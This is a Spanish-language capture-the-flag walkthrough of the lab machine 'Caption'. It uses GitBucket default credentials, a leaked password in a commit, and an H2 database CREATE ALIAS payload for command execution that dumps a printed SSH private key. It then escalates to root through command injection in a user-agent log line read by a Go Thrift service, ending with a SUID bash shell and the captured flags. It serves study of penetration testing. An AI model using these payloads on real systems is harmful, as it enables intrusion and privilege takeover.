Caption
OS: Linux
Dificultad: Difícil
Puntos: 40
Nmap
nmap -v --min-rate=5000 10.129.255.199
nmap -vvv -p 22,80,8080 -sV -sC -oN nmap.txt 10.129.255.199
Nmap scan report for 10.129.255.199
Host is up, received syn-ack (0.024s latency).
Scanned at 2024-09-17 09:07:49 CEST for 16s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack
|_http-title: Did not follow redirect to http://caption.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad request
| Content-length: 90
| Cache-Control: no-cache
| Connection: close
| Content-Type: text/html
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
| </body></html>
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 301 Moved Permanently
| content-length: 0
| location: http://caption.htb
|_ connection: close
8080/tcp open http-proxy syn-ack
|_http-title: GitBucket
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Tue, 17 Sep 2024 07:07:57 GMT
| Set-Cookie: JSESSIONID=node0ijgph1k3f6sdqvn5j9iqgeud2.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 5922
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>Error</title>
| <meta property="og:title" content="Error" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.129.255.199:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
| <meta property="og:image" content="http://10.129.255.199:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/imag
| GetRequest:
| HTTP/1.1 200 OK
| Date: Tue, 17 Sep 2024 07:07:56 GMT
| Set-Cookie: JSESSIONID=node0egpkq2v4pe1hpdju5uxjpw810.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 7197
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>GitBucket</title>
| <meta property="og:title" content="GitBucket" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.129.255.199:8080/" />
| <meta property="og:image" content="http://10.129.255.199:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/gitbucket.png?20240917070757" t
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 17 Sep 2024 07:07:57 GMT
| Set-Cookie: JSESSIONID=node01lvb7jklg5qqj12mi19if6sehx1.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
|_ <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
Enumeration
En el puerto 8080 encontramos una aplicacion llamada GitBucket. Usando las credenciales por default podemos acceder.
root : root
Encontramos credenciales en el siguiente repositorio.
http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a
margo : vFr&cS2#0!
Ahora podemos acceder a la aplicacion del puerto 80.
H2 - Java SQL database (RCE)
En las configuraciones del sistema vemos el siguiente mensaje.
Tambien podemos interactuar con la base de datos desde el apartado Database viewer. Investigando es posible obtener RCE de la siguiente forma.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/h2-java-sql-database
https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed
Utilizando el siguiente payload lo ejecutamos en la base de datos.
CREATE ALIAS SHELLEXE AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
Ahora ya podemos ejecutar comandos.
CALL SHELLEXE('id');
Con el siguiente payload obtenemos la llave SSH del usuario margo.
CALL SHELLEXE('cat /home/margo/.ssh/id_ecdsa');
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQE2vjRNbZwoQCDReSbJkFla6X4zhIEIGDe+Qg7f8+A
ZCrl1kMBYSK3Ql6KKOxqjiPOD9vZRSsfjWu9Ug4hf6zCAAAAoMSr3NvEq9zbAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBATa+NE1tnChAINF5JsmQWVrpfjOEgQgYN75CDt/
z4BkKuXWQwFhIrdCXooo7GqOI84P29lFKx+Na71SDiF/rMIAAAAgRIc1Iourw3LCSQFBQw4FZJMe
QwxVt5DAU4ifNf2BZIAAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
Nos conectamos por SSH.
┌──(root㉿kali)-[~/Caption]
└─# ssh -i margo-key margo@caption.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)
Last login: Tue Sep 17 08:51:53 2024 from 10.10.14.8
margo@caption:~$ ls
app copyparty-sfx.py gitbucket.war logs user.txt
margo@caption:~$ cat user.txt
fe42a03d982cc37a9c7284ea4eb19418
Privilege Escalation
El usuario root esta ejecundo el servidor go del segundo repositorio LogService.
root 1034 0.0 1.1 177628 46928 ? Ss 02:36 0:00 /usr/sbin/haproxy -Ws -f /etc/haproxy/haproxy.cfg -p /run/haproxy.pid -S /run/haproxy-master.sock
root 1040 0.0 0.2 15432 9140 ? Ss 02:36 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1041 0.0 0.0 6176 1088 tty1 Ss+ 02:36 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1044 0.0 0.0 2892 940 ? Ss 02:36 0:00 /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root 1045 0.0 0.4 1240804 17556 ? Sl 02:36 0:01 /usr/local/go/bin/go run server.go
El puerto 9090 que usa el servidor esta abierto localmente.
margo@caption:~$ netstat -putona
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1055/java off (0.00/0/0)
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1054/python3 off (0.00/0/0)
tcp 0 0 127.0.0.1:3923 0.0.0.0:* LISTEN 1052/python3 off (0.00/0/0)
tcp 0 0 127.0.0.1:6081 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:6082 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN - off (0.00/0/0)
Leyendo el codigo identificamos una posible falla que permite ejecucion de comandos.
http://caption.htb:8080/root/Logservice/blob/main/server.go
for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
userAgentMatch := userAgentRegex.FindStringSubmatch(line)
var userAgent string
if len(userAgentMatch) > 1 {
userAgent = userAgentMatch[1]
}
timestamp := time.Now().Format(time.RFC3339)
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
Para explotar la vulnerabilidad tenemos que hacer lo siguiente.
Hacemos Portforwarding al puerto 9090.
┌──(root㉿kali)-[~/Caption]
└─# ssh -i margo-key margo@caption.htb -L 9090:127.0.0.1:9090
Creamos nuestro payload en la maquina.
margo@caption:~$ nano /tmp/doom.log
127.0.0.1 "user-agent":"'; /bin/bash /tmp/shell.sh #"
Ahora creamos otro archivo que tendra nuestro comando sh.
margo@caption:~$ echo 'chmod +s /bin/bash' > /tmp/shell.sh
En nuestra maquina creamos un archivo thrift.
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
Es necesario installar thrift.
apt install thrift-compiler
pip install thrift
Ahora ejecutamos el siguiente comando que nos creara una carperta llamada gen_py. Nos basamos en esta referencia.
https://thrift.apache.org/tutorial/py.html
┌──(root㉿kali)-[~/Caption]
└─# thrift -r --gen py log_service.thrift
Creamos el siguiente codigo para conectarnos al servidor Apache Thrift.
┌──(root㉿kali)-[~/Caption]
└─# cd gen-py
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService # Import generated Thrift client code
def main():
# Set up a transport to the server
transport = TSocket.TSocket('localhost', 9090)
# Buffering for performance
transport = TTransport.TBufferedTransport(transport)
# Using a binary protocol
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Create a client to use the service
client = LogService.Client(protocol)
# Open the connection
transport.open()
try:
# Specify the log file path to process
log_file_path = "/tmp/doom.log"
# Call the remote method ReadLogFile and get the result
response = client.ReadLogFile(log_file_path)
print("Server response:", response)
except Thrift.TException as tx:
print(f"Thrift exception: {tx}")
# Close the transport
transport.close()
if __name__ == '__main__':
main()
Ejecutamos el script.
┌──(root㉿kali)-[~/Caption/gen-py]
└─# python3 client.py
Server response: Log file processed
Una vez que se el script termina, en la maquina veremos que se ejecuto nuestro comando ya que el binario esta como SUID.
margo@caption:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Simplemente ejecutamos bash de la siguiente forma y conseguimos root.
margo@caption:~$ bash -p
bash-5.1# cat /root/root.txt
36f737881d2da619856ac81cdefb3c7f
bash-5.1#